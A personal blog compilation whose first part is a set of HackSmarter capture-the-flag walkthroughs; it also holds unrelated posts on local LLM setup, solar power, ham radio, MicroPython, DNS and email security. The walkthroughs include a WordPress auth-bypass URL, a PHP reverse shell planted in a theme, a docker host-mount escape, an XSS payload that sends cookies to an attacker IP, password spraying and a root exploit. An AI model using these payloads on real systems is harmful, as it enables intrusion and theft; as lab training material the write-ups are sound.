HackSmarter Challenge Lab: SQL Basics (Easy) - SQL Basics

 https://www.hacksmarter.org/courses/ecd76167-3ff0-4140-96b8-6405beb82799/take

More to Come Soon 

HackSmarter Challenge Lab: Free Access - Dark (Easy)

 Here's the link to the lab: https://www.hacksmarter.org/courses/bb164cba-ddc9-4cb0-8e95-ad4853d0143c/take

• Let's connect to VPN
• Ping our  host
• nmap -A our host
• Here we get our first inclination that his is WordPress 6.0 
• 
  
•  
•  It's been a while that I use wpscan, but I do remember it's a thing, one main source of vulnerabilities in WordPress is it's plethora of available plugins. 
• wpscan --url http://10.0.21.199 --api-token APIKEYHERE --enumerate p --plugins-detection mixed 
•  -enumerate p 
• this flag enumerates plugins, and the options are A/VP/P ( All , Vulnerable Plugins, Plugins) wpscan checks it's database and stuff, that's why we need the APIKEY
• You can enumerate more stuff like themes, users, config backups, db exports. 
• A lot of it is mumbo jumbo, while I understand the context I would have to dig a bit deeper.
• I started with --enumerate vp, figuring it would find a vulnerable plugin, but reverted back to P when it did not find something useful.
• --plugins-detection mixed 
• You either do PASSIVE/AGRESSIVE/MIXED detection methods. 
• While wpscan reported a couple of findings, we see a good one to test that includes Privilege Escalation, Unauthenticated one, the ones we love.
• 
•  Time to go digging for CVE-2026-23550
• I'll save you some time. According to this site: https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/#the-poc
• I use this as my payload; https://example.com/api/modular-connector/login/anything?origin=mo&type=foo Let's try it. 
•  Look at that we're in: 
•  It's really crazy how these things work. 
• Now we're in Wordpress as an admin, but that's only a step closer. I know we can probably get a shell with the Themes, maybe even use metasploit and get initial foothold to the OS there. I will come back a bit later and continue.  
• Let's try this one: https://khellwan.medium.com/from-wordpress-setup-to-reverse-shell-8c3be45c009c
• We'll update the IP of this php file https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
• Upload it to our footer-default.php
• Create a listener, save the file, and watch us wet a reverse shell. 
•  
• Now let's explore, usually web stuffz lives in /var/www, if we LS here we see user.txt 
• lets cat it out, and you have your user flag. 
• Other Methods: 
• There's many ways to do this after you have admin on WordPress, you can choose another PHP file to implement your shell in. 
•  You can upload other plugins that provide shell here's an example from GH; https://github.com/4m3rr0r/Reverse-Shell-WordPress-Plugin
• Now the shell isn't that cool , let's spawn a real shell , or at least a different one
• python3 -c 'import pty; pty.spawn("/bin/bash")' 
•  Explore some more:
•  
• Not sure if this is important.  
•  WHOAMI , I AM not ROOT :( , but I am www-data, and for some reason I am part of the docker group. 
• Rootless docker has been a thing but people usually don't set that up, because why, docker just works.
• Docker
• We're not after priviledge escalation we basically want to get the flag.  
• Let's create a container that mounts / into the container. 

• docker run -it --privileged --name root_access_container -v /:/mnt_host_root ubuntu /bin/bash

•  we can access /mnt_host_root on the container which is really / on the host , from here we can browse to /root/root.txt

•  flag{docker-is-fun-0385}
• But that's not fun let's try and get root.  
• Le'ts try this: 

  wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh

  chmod +x deepce.sh

  ./deepce.sh 

  ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami" 

  •  From here we can run other commands as root, maybe setup another listener on a different port, then reverse shell to that listener as root 

HackSmarter Challenge Lab: Free Access - Polution (Easy)

• https://www.hacksmarter.org/courses/1de73367-b278-41ba-a63c-83c2d510621c
• We'll do our normal VPN thing. 
• Our challenge is: 
• The credentials below mirror a customer. Are you able to elevate your privileges and become an Administrator? 
• After getting nowhere with the browser on port 80/443 I ran NMAP\
• 

• Now we can go to http://x.x.x.x:3000 and log in with the provided credentials
• Don't forget to change the scope in Caido or BurpSuite 

• I can change my cookie from pentester to admin.  
• It reflects on the page but I am not really an admin. 
• There's webmail, and it goes to an admin 
•  let's see if we can make the admin reach out to us, let's start a listener
•  sudo nc -nvlp 80 (nothing exciting here , you don't need a screenshot
•  Then send this over to the admin :
•  
• He clicked on our link
• 
  
•  
This is where I think we can try to steal his cookie, by calling /message?document.cookie or something like that. 
• I opened up my python http server because nc was disconnecting at every connect 
• http://10.200.78.16:8000/message?c=+document.cookie
• I don't get anything though, at least the cookie
•  This is where I cheated, I looked at some writeups, and realized that it's this thing called parameter pollution, long story short I don't know about this. 
• I am looking a bit more about it but it reminds me of PHP Filters. 

• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="alert(1);"/>

  •  This POC shows us that we have XSS with Paramater Pollution

    I wonder if we change the 1 to document.cookie 

   Look at that.  Let's combine that with our XSS that we send to our admin in webmail.
• We'll use this payload
• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.78.16:9000/?c='+document.cookie)">
• This is our response,  I used different ports not to contaminate my responses
•  
•  Now let's try and use that session in our browser, we are already authenticated as pentester, so we modify our current session in the console the browser

• document.cookie = "session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; path=/";
  document.cookie = "user=admin; path=/";

•  Then we browse into the incident reponse page: 
•  
• What did I learn here, even though this is an EASY lab , it was not easy for me, more Pollution in prototypes for me 
• Update:
• While I still don't feel smart enough to talk about Prototype pollution I used everyone's favorite new thing. AI, I gave it the available script and asked it if it was vulnerable:
• 
•  Magically it said, yep it's susceptible to DOM XSS in the renderCallback Area:
• 
•  It even gave us some POC to try in the For example area. 
• 
•  While I am not too fond of AI, I do see it's advantages at times. 
• UPDATE 2:
• I also tried DOM Invader
• 
•  and while It said that there are Exploit available, when I click exploit I did not get anything. 
• Using both ChatGPT and DomInvader, I can connect some ...(dots), I can see renderCallback is mentioned in both. 

HackSmarter Challenge Lab: Hunter (Easy)

• https://www.hacksmarter.org/courses/19723a54-6e4b-410e-b9e3-371f702e0f5c 
•  We'll do our normal things with VPN. 
• For this lab we are presented with a challenge:
• You need to identify which one is a valid username for the web application. 
• We are provided a list of possible names.  
•  
• There's a sign in page as well as a Forgot password page. 
• We don't get any discernible data when we try to log in or reset the password 
•  We use Caido's automate feature on the Forgot Password page
•  
• Here we see that the user Joey's round trip request took 1055ms , way over the ~300ms for the rest of the users. 
• We're in, that's the challenge.  
•  

HackSmarter Challenge Lab: SysAdmins (Medium) - SysAdminsSYSADM

•  - Connect to VPN
• ping X.X.XX
• 

• nmap -A X.X.X.X
•  

• Let's take a look at ftp on port 21 
• We found something on the FTP Server 
•  
• Let's read/cat it. 
•  Hi team,
  
  We are writing to inform you of a recent data breach that may have affected some of your information.
  
  Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.
  
  We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.
  
  We'll continue to share updates through this channel.
  
  Please do not hesitate to reach out to us if you have any questions.
  
  Our team is working around the clock to deal with this situation, and we really appreciate your patience and understanding.
  
  Kind regards,
  Peter
  Lead Sysadmin 
  
  

• We visit the PasteBin and we see a lot of credentials, this leads me to believe we can password spray after finding usernames.  
•  
• Let's visit Port 80 now
•  We see a nice page where we get some usernames :)
•  
• 

• Let's Password Spray
• We have 3 Users and A lot of passwords 
• hydra -l waserby -P passwords ssh://10.1.137.94
• hydra -l peter -P passwords ssh://10.1.137.94
• hydra -l helena -P passwords ssh://10.1.137.94
• I didn't get anywhere.
• Here I cheated and watch a video, Enumerate more things, UDP Ports. 
• We see SNMP is open.  
• Our online friend used LEGBA

• docker run \
    -v $(pwd):/data \ # shared the current directory as /data inside the container
    --network host \ # docker will use the same network of the host
    -it evilsocket/legba:latest \
    snmp --username waserby --password /data/your-wordlist.txt --target 192.168.1.1

• We are going to use SNMP 
• apt-get install snmp
• snmpwalk itself does not do password spraying , chatgpt to the rescue. 
•  I created this script : 
• https://github.com/TechTucson/Scripting/tree/master/HackSmarter/Challenge/SysAdmin 
• There's more that this needs but it's a start 
• Now we have a username and a password:
• waserby:butterfly 
•  Let's get everything we can from SNMP
• We'll use the same command:
• snmpwalk         -v3         -t 2         -r 1         -l authNoPriv         -u "waserby"         -a MD5         -A "butterfly"         "10.1.137.94"  > EXPORT
• we used the > thingy to send the output to  a file called EXPORT
• We can then cat EXPORT, but there's a lot of stuff in there. 
• let's cat EXPORT | grep password
• or grep ssh
• We get a different set of credentials 
• cat EXPORT | grep pass
  iso.3.6.1.2.1.25.4.2.1.5.930 = STRING: "-c sshpass -p 'PerfectIsTheEnemyOfDone223!' ssh helena@sysadmins; sleep 60" 
• We can then login to ssh
• we see our user flag
• Now it's been a while that i've done PrivEsc but I do remember LinPEas
• scp linpeas.sh helena@10.1.137.94:/home/helena/linpeas.sh
• chmod +x linpeas.sh
• ./linpeas.sh 
•  
• I immediately  focused on the yellow/red and I'll save you some time I did not have initial success
• 
•  I tried PeditCow, DirtyFrag, DirtyClone, I am pretty sure if I kept on trying I would have gotten it. 
• What I did miss was the first red output in LinPeas 
•  
• Look there's a CVE https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
• git clone that sucker
• transfer the .sh file with scp 
• make it executable
• and execute it
•  You are now root
• cd /root
• cat root.txt 

Hacksmarter Web App Pentesting Capstone

HackSmarter Foundations of Web Application Pentesting Course – Lessons Learned from the Capstone

TLDR: Here is my PenTest Report: Report: https://drive.google.com/file/d/1Ig4kQsDekkCjbfiuPMuLvPEwpCuSFpGD/view?usp=sharing

Full Disclosure ChatGPT helped me write this article. 

When I enrolled in the HackSmarter Foundations of Web Application Pentestesting Course, I expected to learn new techniques for finding vulnerabilities in web applications. What I didn't expect was that the biggest lesson would come during the capstone assessment itself.

The HackSmarter course is designed to teach a structured methodology for performing web application penetration tests. Rather than focusing solely on individual vulnerabilities, it emphasizes understanding how a web application works, building a repeatable testing process, documenting findings, and producing a professional penetration test report. Those are the skills that separate simply finding bugs from conducting a real penetration test.

Going in Guns Blazing

When I started the capstone, I did exactly what I thought a penetration tester should do. I went in with guns blazing.

I immediately began attacking the application, testing inputs, fuzzing endpoints, and looking for vulnerabilities. I wasn't following any methodology or checklist. I was simply chasing findings wherever they appeared.

At first, this felt productive, but after spending more time with the application, I realized I had created my own problem. I had skipped the process that the course spent so much time teaching.

The Importance of Methodology

Eventually, I had to stop and revisit what I had learned throughout the course.

Instead of asking, "How can I break this?" I started asking better questions:

• What is this application supposed to do?
• Why does it work this way?
• How does each feature interact with the rest of the application?
• What assumptions is the developer making?

Taking the time to understand the application before aggressively testing it made a huge difference. A structured methodology isn't about slowing you down, it's about making sure you don't miss obvious attack paths while avoiding unnecessary rabbit holes.

Documentation Matters More Than You Think

One habit I have never really developed is taking detailed notes while I'm testing.

That became one of the biggest lessons of the capstone.

When it came time to write the penetration test report, I realized I hadn't documented enough of what I had already done. I had screenshots missing, request and response details scattered around, and steps that I remembered performing but hadn't recorded.

Instead of simply writing the report, I had to revisit much of the application and recreate portions of the testing just so I could properly document my findings.

It was a valuable reminder that good documentation isn't something you do after the engagement, it's part of the engagement itself.

Kairos Made Reporting Much Easier

One tool that made the reporting process significantly easier was Kairos, the reporting platform created by the same developer behind HackSmarter.

Being able to import vulnerabilities directly into the report generator saved a tremendous amount of time. Instead of repeatedly writing common vulnerability descriptions, impacts, and remediation guidance from scratch, I could reuse existing findings and tailor them to the engagement.

This allowed me to focus on explaining how the vulnerabilities applied to the target rather than spending time formatting the report.

One improvement I'll make on future engagements is adding findings to Kairos as I discover them, rather than waiting until testing has finished. Building the report alongside the assessment keeps everything organized and greatly reduces the amount of work required at the end.

Final Thoughts

The capstone reinforced that penetration testing is about much more than finding vulnerabilities. It's about following a repeatable methodology, understanding the application before attacking it, maintaining thorough documentation, and producing a report that clearly communicates your findings.

If I could offer one piece of advice to anyone taking the HackSmarter Web Application Pentest Course, it would be this:

Take your time.

Understand what the application does, why it exists, and how it works before trying to break it. Keep detailed notes throughout the assessment, document your findings as you discover them, and don't leave reporting until the very end.

The capstone taught me that technical ability is only one part of being a successful penetration tester. Methodology, discipline, and documentation are just as important, and those lessons will stay with me long after completing the course. 

Next on for me is the TCM Security Practical Web App Pentester Certification Exam. 

Setting up Ollama and OpenWebUI

It's been quite a bit since I posted this article https://elmariouribe.blogspot.com/2024/02/setup-privategpt-on-fresh-ubuntu-2204.html.  If I had waited a few more weeks, it would have been two years since. This, in reality, is a continuation of those learnings.  I will focus more on the cybersecurity approach of using AI. As a couple of examples, analysing code and running vulnerability scans. This might quickly get out of proportion, and I may need to break some of these postings up or choose a different channel. 

We'll be using an old Laptop for this with a freshly installed version of Ubuntu 24.04. 

- sudo apt update

- sudo apt upgrade

• Install Ollama 
• curl -fsSL https://ollama.com/install.sh | sh

• # systemctl edit ollama.service

• [Service]
  Environment="OLLAMA_HOST=0.0.0.0"

• Restart Ollama by : 

• # systemctl restart ollama
  

• This will make it so Ollama listens on all IPs
• Pull an LLM
• ollama pull qwen2.5:7b
• ollama pull qwen2.5:7b
• Install Docker
• Run Container;

• docker run -d --network=host --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main
  
• Install Go

I passed my CISA Cert

Solar Things I wish I knew

 -24V is Better

-PWM Not so Great, Go with MPPT

-If the battery is full your CC won't produce 

Solar Ideas

 I think we've all had a knock on the door from somenone trying to set up an appointment with you to see how much you can save on your electricity bill if you install solar on your house. Some of those folks can be a bit pushy, but that's not the reason for this post. I keep on asking myself, if solar is so wonderful and we can save a lot of money, why isn't every house lined up with solar installers? I get it, you need enough roof real-estate, and there are areas more opportune for solar benefits than others, and there's never such a thing as free lunch. It costs to get the equipment, it costs to get it intaslled, if you want to grid-tie it the electric company needs to make sure it's A-OK, you'll need a permit. Those costs start to add up, Everyone needs to make some money of out this deal, we're not working for free here. Here are some notes that I figured I wish I knew withouth having to setup an appointment. 

- Your Elecctricity bill will be lower, but you'll have another bill on top of your electricity bill. Unless you pay for the install and materials out of pocket, instead you're probably getting a loan for the 15-30K. 

- Most grid-tie systems do not help you in an outage, they need city power to function. I don't know about you but if I have solar I want my lights on, when everyone elses are off. 

-- There are things like the power-wall from Tesla, it's basically a big battery add-on for your solar array. That's more like it but that sounds expensive. 

Here are some of my thoughts:

- What about those Jackery, Bluetti, Pecron Solar Generators? Those things are awesome I want one :) They market them for so many use-cases. Camping, Emergency Power Backup, RV. I think they fit those use-cases pretty well, though I personally I want one for camping, and a possible backup to my backup.

- I've been seeing some/a -lot of videos of folks that say that building your own Solar generator is the way to go. I think it really depends on a couple of things: where are you intending to use it? Whta are you hoping to power? I'll tell you about journey building one. I set out to power a Window AC Unit for free. 

Here's my build so far:

- 10 X 230 Used Watt Solar Panels ($240)

- 1500Watt Internet, ( Facebook $65)

- BougeRV MPPT 30A ChargeController 79

-BougeRV PWM 30A  Charge Controller 39

-12V 100AH LifePO $130

-Cables, Breakers, ~$80

Each Charge Controller will host 2 Solar Panels in Parralel. 

2025 Certification Goals

Certified Information Systems Auditor (CISA) https://www.isaca.org/credentialing/cisa

Practical Web Pentest Associate (PWPA pka: PJWT) https://certifications.tcm-sec.com/pwpa/

Baofeng UV5R Simplex Repeater (VOX)

Let's start off with the list of it items that we'll need:

 Materials:

• Computer:
• Laptop/Desktop Running Windows
• Radio Piece:
• 1X Baofeng UV5R 
• Technically any radio that will do VOX
• 1X 2.5mm-to-3.5mm Audio Cable ( or adapter)
• 3ft is good
• 1X 3.5mm Audio Cable
• 3ft is good
• 1X Ground Loop Isolator
• https://www.amazon.com/Packs-Ground-Isolator-Stereo-System/dp/B0B2JSN8NR/ref=asc_df_B0B2JSN8NR/
• Mine is labeled 'Jabinco' But these will do. 
• 1X USB Sound Card
• https://www.amazon.com/gp/aw/d/B00IRVQ0F8
• Software:
• http://f6dqm.free.fr/soft/simplex/en/simplex.htm

Steps:

1- Configure VOX on UV5R ( I have it on Level2)

2- Install The Simplex Software. 

Familiarize yourself with it. While there are many options we'll only be using the repeater function. 

3- Plug in your USB Sound card and test it. 

I'm sure you have some headphones and microphones lying around. 

4- Plug stuff in.

2.5mm Baofeng Plug --> 2.5 to 3.5 MM Coupler --> Microphone In on USB Sound Card

3.5mm Baofeng Plug --> Ground Loop Isolator--> Speaker Connection on USB Sound Card

Troubleshooting:

- Make sure that the audio output and input are correct

- Try out different volume settings on both your computer and the Baofeng radio

-- One thing that I decided to do was to mark the location of the volume sweet spot. 

- Hit Auto On. 

Web Scraping With Python ( To display on LED Matrix)

 I had the opportunity to (semi) work with LED matrices at my place of employment, which led me to tackle this project here. I have set up this page here: https://techtucson.com/learning/scrape which we'll use as a real-world example. 

• Download the page as an HTML file and save it to your computer as scrape.htm.

Our first task is to separate the first ROW and display how many spots are available. 

///

import pandas as pd

url = 'file:///C:/Users/mariouribe/Downloads/scrape.htm'

tables = pd.read_html(url)

df = tables[0]

first = (str(df.loc[0, 'Spots Available']))

new_string = first.replace("spots available.", " ")

new_string2 = new_string.replace("/", " ")

firstnumber, secondnumber = new_string2.split()

subtract = int(secondnumber) - int(firstnumber)

print(subtract,  "Spots Available")

///

Great , we have a working POC, but there's only one problem. The Microcontroller are not as powerful as my machine. While they have access to the internet are running MicroPython which means I won't have access to Pandas or better yet BeautifulSoup. I'll need to use built in libraries as much as possible. Back to the drawing board. 

///

import requests

import re

url = 'file:///C:/Users/mariouribe/Downloads/scrape.htm'

response = requests.get(url)

html = response.text

pattern = r'<td>(.*?)</td>'

regex = re.compile(pattern)

results = regex.findall(html, re.IGNORECASE | re.DOTALL)

garage = results[0]

numbers = results[1]

numbers_new = numbers.replace("spots available.", " ")

print(numbers_new)

numbers_new2 = numbers_new.replace("/", " ")

print(numbers_new2)

firstnumber, secondnumber, thirdthing = numbers_new2.split()

print(firstnumber ,  "Spots Available at ", garage)

\\\

So I got this working with the requests and regularExpressions library. But know there are a couple of more issues, some of the functions of the re library don't seem to exist in MicroPython :( , and I ran out of space while getting the reponse.text output. 

That's when I reached out to the developer and asked for a handout. An API was built where I can call a specific garage and get 20 lines of text which I can now parse without issues. 

More to Come Soon. 

Raspberry Pi Pico RP2040-ETH

I've always been interested in Arduinos, Microcontrollers, and SOCs. I recently went on AliExpress, purchased some new devices, and rounded up the things I had previously purchased. This article will focus on the WaveShare RP2040-ETH (https://www.waveshare.com/wiki/RP2040-ETH) which is a "RP2040-ETH is a mini RP2040-ETH development board, which integrates TCP/IP protocol stack for network communication." 

I found this Github Repo: https://raw.githubusercontent.com/nichokap/RP2040-ETH which I will use as a starting point, and grow from there. Let's get started with setting up the device, I won't bore you with instructions and firmware that is used as you can take a look at the WaveShare site and the above Github for that portion. 

1:

Now that everything is set up, let's do something with the board. Let's go into Thonny and start with the "Hello World" right of passage. 

2:
Well, that was fun, can we make the board do something? We can use an RGB LED on the board. 

from machine import Pin

from neopixel import NeoPixel

#Configure the built-in WS2812 LED pins of RP2040-ETH and set the number of LEDs to 1

strip = NeoPixel(Pin(25), 1)

#Set the color of the first and only LED

strip[0] = (0,150,0) # color codes in GRB (Green=0, Red=150, Blue=0)

#command to write the color to the LED

strip.write()

This code is from nichokap mentioned above, we see it's importing the PIN and NeoPixel (modules or libraries) items. The 'strip' variable is defined using pin 25 which is the LED, and the notes in the code mention that we are letting NeoPixel know it's only 1 LED. strip[0] I believe is referencing the 1st LED as index starts at 0. The first time you run the code, you'll see the LED turn red. Now try to change the Number combinations, (150,150,150) will give you a white LED.

But I didn't buy this because it has 1 LED, I bought it because it had a Network Port, and I can use MicroPython. That's where I think I chewed more than I could swallow. Before I go off on a tangent, let's move on to the next sample code. 

3:

Meshtastic LORA

In early 2022, I ordered three (3) Lilygo LoRa32 V2.1 1.6.1 modules. Then I flashed them with Meshtastic sent messages between the nodes and called it a day. Fast forward a couple of years, and the local community around Meshtastic has grown. While this post is currently a placeholder here are some of my current projects around Lora:

• https://techtucson.com/mesh
• https://github.com/TechTucson/TC2-BBS-mesh
• I have really enjoyed working on this project and I may just turn this into it's own post. 

Local sites and resources:

• https://meshtucson.systm32.xyz/
• Tucson Meshtastic Site
• Discord
• https://discord.com/invite/ruAQEVpUV4
• http://azmsh.com/
• Redirects to Discord Invite
• 32Mesh.net
• Saw this driving around 

Keep Tuned for More. 

AWS Certified AI Practitioner

When I heard that AWS was about to release their "Certified AI Practitioner" Exam, I told myself I was going to jump on the bandwagon. There is a lot of hype around AI, Machine Learning, Foundation Mdels, LLM's. It's difficult to view through the smoke or discern who is peddling snake oil, what is easy to tell is that AI continues to make a deep impact in the Information Technology realm. Below are my 'personal' notes while studying for the Exam.  

•  What is GenAI
• Amazon Bedrock
• Foundation Models
• Foundation Model Evaluation
• Retrieval Augmented Generation(RAG) & Knowledge Base
• GardRails
• AI Stylist
• Prompt Engineering
• What is It
• Performance Optimization
• Techniques
• Amazon Q
• Business
• Apps
• Developer
• Kinda like Co-Pilot.
• AI and Machine Learning
• AI, ML, Depp Learning and GenAI
• Training Data
• Supervised Learning
• Tagged Input
• Unsupervised Learning
• Mix of Tagged and Untagged, mostly Untagged
• Reinforcement Learning
• Kinda like a pet, rewards good behavior, reinforces good behavior
• Model Fit, Bias, and Variance
• Inferencing
• Infer , things like in DB .. when you don't have all of the access but you can infer data points. 
• Phases of a Project
• Managed AWS Services
• Comprehend
• Comprehends the written text, Natural Language Processing Exracts insight about the contents of documents. 
• Translate
• Translate from languages. 
• Transcribe
• Speech to Text
• Polly
• Text to Speech
• Rekognition
• Recognize things in Images and Video. 
• Forecast
• Lex 
• Can make Bots with this. 
• Connect
• This is a Call Center type of service where you can have agents take calls, you can connect this to services like Lex and Polly. 
• Personalize
• Textract
• Extract Text from documents
• Kendra
• Can take documents and data to create an enterprise search engine.
• Mechanical Turk
• This service connects real humans to do tasks for training models or double-checking AI work. 
• Augmented AI
• Double Check the work of AI 
• DeepRacer
• You actually race a car with a reinforcement model, you get to train your model to see what is faster at learning/getting past the finish line. 
• Comprehend Medical
• Transcribe Medical
• Hardware For AI
• Tranium
• Other Chip
• SageMaker
• Complete solution for ML, can train, a model , tailor it. 

Setup PrivateGPT on a Fresh Ubuntu 22.04

TLDR; We'll set up PrivateGPT on a brand new Ubuntu 22.04 Install. 

I want to preface and warn you, that I am not a savvy user, much less an expert in Artificial Intelligence (AI) or Large Language Models ( LLMs). I am pretty sure I am going to say/type some wrong things :). 

I warned you, here's my write-up:

With all of the hype around AI and ChatGPT, I figured I'd join the bandwagon. A co-worker of sorts pointed out an interesting Github project 'PrivateGPT' that he has been using. His work is private in nature and while he could benefit from the advantages that a toolset like ChatGPT brings it is not feasible/permissible/frowned upon to give OpenAI or any other company the data you are working with( which is usually your clients' data.

That's where PrivateGPT comes to the rescue. The GitHub Repo "PrivateGPT is a production-ready AI project that allows you to ask questions about your documents using the power of Large Language Models (LLMs), even in scenarios without an Internet connection. 100% private, no data leaves your execution environment at any point." Please visit and support the repo located here: https://github.com/imartinez/privateGPT. The readme mentions that for the latest info, we should visit https://docs.privategpt.dev/.

What are my motivations? 

• I briefly tried to set it up and failed, I gave up. Now I am back and forcing myself to get it working. 
• AI is here to stay and what better way to learn than to play around with it. 
• You never know if your business might be able to use it. 

Use Cases:

• Well, I'll leave that up to your imagination. Think of PrivateGPT as a ChatGPT alternative that you can feed your documents( DOCS, TXT, PDF) and interact with them, 
• We'll go over some test scenarios. 

We'll be using the installation instructions here: https://docs.privategpt.dev/installation. If the instructions are there, why do you need to read this? Because I failed once, I'll probably fail again as I am writing this as I go through the steps. I failed so you can learn from my mistakes, the idea is to give you a better starting point. With all of that being said let's get into the installation.

• We'll start with a VM with a fresh install of Ubuntu 22.04. I had the Desktop Edition handy which will do the job and allow us to run a browser within the machine. 
• I won't bore you with screenshots of this process. 
• Make sure you update and upgrade your box. 
• Take Snapshot before we begin, that way you can revert back to a clean slate.
• I ran into some issues with dependencies, let's get these out of the way before we get started:
• sudo apt install git curl gcc g++ pkg-config
• sudo apt install build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev
  libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev libffi-dev liblzma-dev
• Let's create a directory, then Clone the Repo
• mkdir /home/MYUSER/PrivateGPT
• cd /home/MYUSER/PrivateGPT
• git clone https://github.com/imartinez/privateGPT 

Install pyenv and Python 3.11

• Now we have to install Python 3.11 using a Python version manager.
• We'll install pyenv
• Let's use this writeup: https://medium.com/@therazmatrix/how-to-install-and-use-pyenv-in-ubuntu-22-04-fa7c28ca0b67
• curl https://pyenv.run | bash
• Then I added this to my /home/MYUSER/.bashrc file

• # Pyenv
  export PYENV_ROOT="$HOME/.pyenv"
  command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"
  eval "$(pyenv init -)"
  eval "$(pyenv virtualenv-init -)"

• You'll need to restart the shell.( just close it and re-open it)
• pyenv install 3.11
• It worked :) 
• Now Install Poetry
• https://python-poetry.org/docs/#installing-with-the-official-installer
• curl -sSL https://install.python-poetry.org | python3 -
• That worked fine the first time, were on a roll. 
• So I did not put the PATH for poetry in my .bashrc, because reasons but I can run it calling /home/MYUSER/.local/bin/poetry 
• We need to create a virtual environment for our project to use the 3.11.7 Python install
• in /home/MYUSER
•  pyenv virtualenv 3.11.7 privategpt
• then go to /home/MYUSER/privateGPT
• pyenv local privategpt
• pip install llama-cpp-python
• poetry install --with ui
• This will take a while
• poetry install --with local
• This will take another while
• poetry run python scripts/setup
• Finally
• /home/MYUSER/.local/bin/poetry run python -m private_gpt
• 
• You'll see a message similar to:
• 
• You can now browse to https://127.0.0.1:8001
• 
• Upload a File, and ask it some questions. 
  
  

DNS: Why Can't I have a TXT Record ( Or any other record) alongside my CNAME record?

TLDR; Because that's how DNS works. https://www.ietf.org/rfc/rfc1912.txt

I've run across this issue various times in the last...we'll I won't tell you how long, but it's been a long time. Every time that I see this issue pop up I scramble and learn the same thing, in hopes that the lessons learned will stick I have decided to create a blog post. 

We are all accustomed to nice domain names (i.e. google.com, facebook.com), and as an end-user the backend inner workings are abstracted. What we do know is when I type in my domain on the browser, some magic happens. While I don't understand the complete magic I will do my best to explain why you can't have any other record alongside a CNAME record. 

What's a CNAME record, that's true let's take a step back. Let's take store.mydomain.com as an example, a DNS server is responsible for telling browsers how to traverse the internet and locate the server that is hosting your desired store. Other types of services that have dedicated records are Mail (email) servers they get their own MX record. There are various other records in the DNS scheme, we won't go through all of them but I've selected a sample to go over:

• A Record
• This record points store.mysite.com to an IP Address 5.5.5.5, this means that all traffic destined to your store will get forwarded to the IP address. 
• TXT Record
• Think of this as a text file that you can use to confirm ownership or management of a domain. This file is readable by the internet, in essence, if you can write to this file we can construe that you own the domain. 
• CNAME Record
• This stands for Canonical Name, the easiest way to think of this is an alias or a nickname. www.store.mysite.com can be a nickname for store.mysite.com. But let's take it a step further store.mysite.com can be a nickname to store.BIGCompany.server.hosted.com. That big company server can be Google, AWS, Oracle, or any company offering you a hosted service.
   

That's all great but why use CNAME vs A records if they both point to the same place? As an administrator, I can change records for mydomain.com at will without waiting for anyone else, on the flip side the administrators for the BIGComapny can update their records whenever they feel like it. In the A record above let's say that 5.5.5.5 needs to be updated to 7.7.7.7, if CNAMES were in use that change would be transparent to mydomain.com. Since we are using A records BIGComapny needs to let MyDomain.com know of the change and plan accordingly. For small mom-and-pop shops, it would be fine to coordinate and schedule time, but when dealing with thousands and possibly millions of domains and/or DNS Records it does not scale well. 

I figure giving a rundown on various types of records and why they are used is important to lay down the foundation. Don't get upset, but the reason you can't have CNAME records mixed with any others is that you can't :). DNS was built with this constraint in mind, why? That goes beyond the scope of this article. Taking an excerpt from https://www.ietf.org/rfc/rfc1912.txt, section 2.4 states "A CNAME record is not allowed to coexist with any other data.". 

Email Security (SPF, DKIM, DMARC)

Electronic mail (email) has been around for a very long time since 1971 according to some trusted sources. Not only is email used in our personal lives, but businesses also use it to conduct daily activities. Emails may contain a plethora of sensitive information from Financial Records, Secret Formulas, and Health Records. You name it if the data exists there is a possibility of flowing through email. Five decades ago the existence of Spam, Phishing, Whaling, or any of the myriad of cybersecurity attacks was not even conceived of. The security email protocols were not considered. It's been a long time since then and now it seems that cybersecurity is at the forefront of everyone's mind. 

There have been iterations of security mechanisms that aid in securing email. Here we provide an overview of  the major security protocols:

SPF stands for Sender Policy Framework. SPF uses DNS records to verify that an email was sent from an authorized IP address. Email administrators publish these DNS records which receiving parties use to discern if emails are coming from trusted and/or allowed IP addresses. If emails do not pass this test they are flagged as not having passed SPF. It is up to the receiving party how to deal with these emails. 

DKIM or DomainKeys Identified Mail uses a digital signature to verify that an email wasn't modified prior to arriving at the recipient's mailbox. DKIM also uses DNS records in order to publish its Public Key which is required for hashing to take place. In short, the sender hashes the email contents and provides the hash, the receiving party then computes to the same hash on the received email. If the hashes match then we can verify that the message has not changed and therefore pass DKIM. If the hashes differ the email will fail DKIM. It is up to the receiving party how to deal with these emails.

Up until now, we are just checking whether SPF or DKIM passes, but we are not telling anyone what to do with non-compliant emails. (emails that don't pass DKIM or SPF checks. This is where DMARC or Domain-based Message Authentication, Reporting, and Conformance steps in. You guessed it DMARC also uses DNS records. These DNS records instruct the receiving party on how to address emails that fail checks. The three basic options that you can request from the receiving end are:

• Do Nothing
• Quarantine The Emails
• Reject the emails. 

The end goal should be to ask for emails to be rejected though there are use cases where the other two options are used. 

These protocols help protect against business email compromises by helping prevent spam, phishing, and other cyber security threats impacting emails. Large email providers such as Google and Microsoft have already adopted these protocols. There is no reason why you shouldn't implement these tools if you are running email services. While there are many SPF/DKIM/DMARC online tools, I would start with your email provider it may be that they can do the heavy lifting. 

Email is a critical communication tool, it's used daily. Implementing these security mechanisms isn't difficult and it helps prevent cyber security threats.  I encourage all of you to implement these protocols in order to improve the security of your email communications.

Road to OSCP Part1

I've been busy as always, busy enough not to post anything in the last two+ years. I'll give you the TLDR I have obtained some certifications along the way:

• CISSP 
• CASP+
• Security+
• AWS Solutions Architect Associates
• CCENT

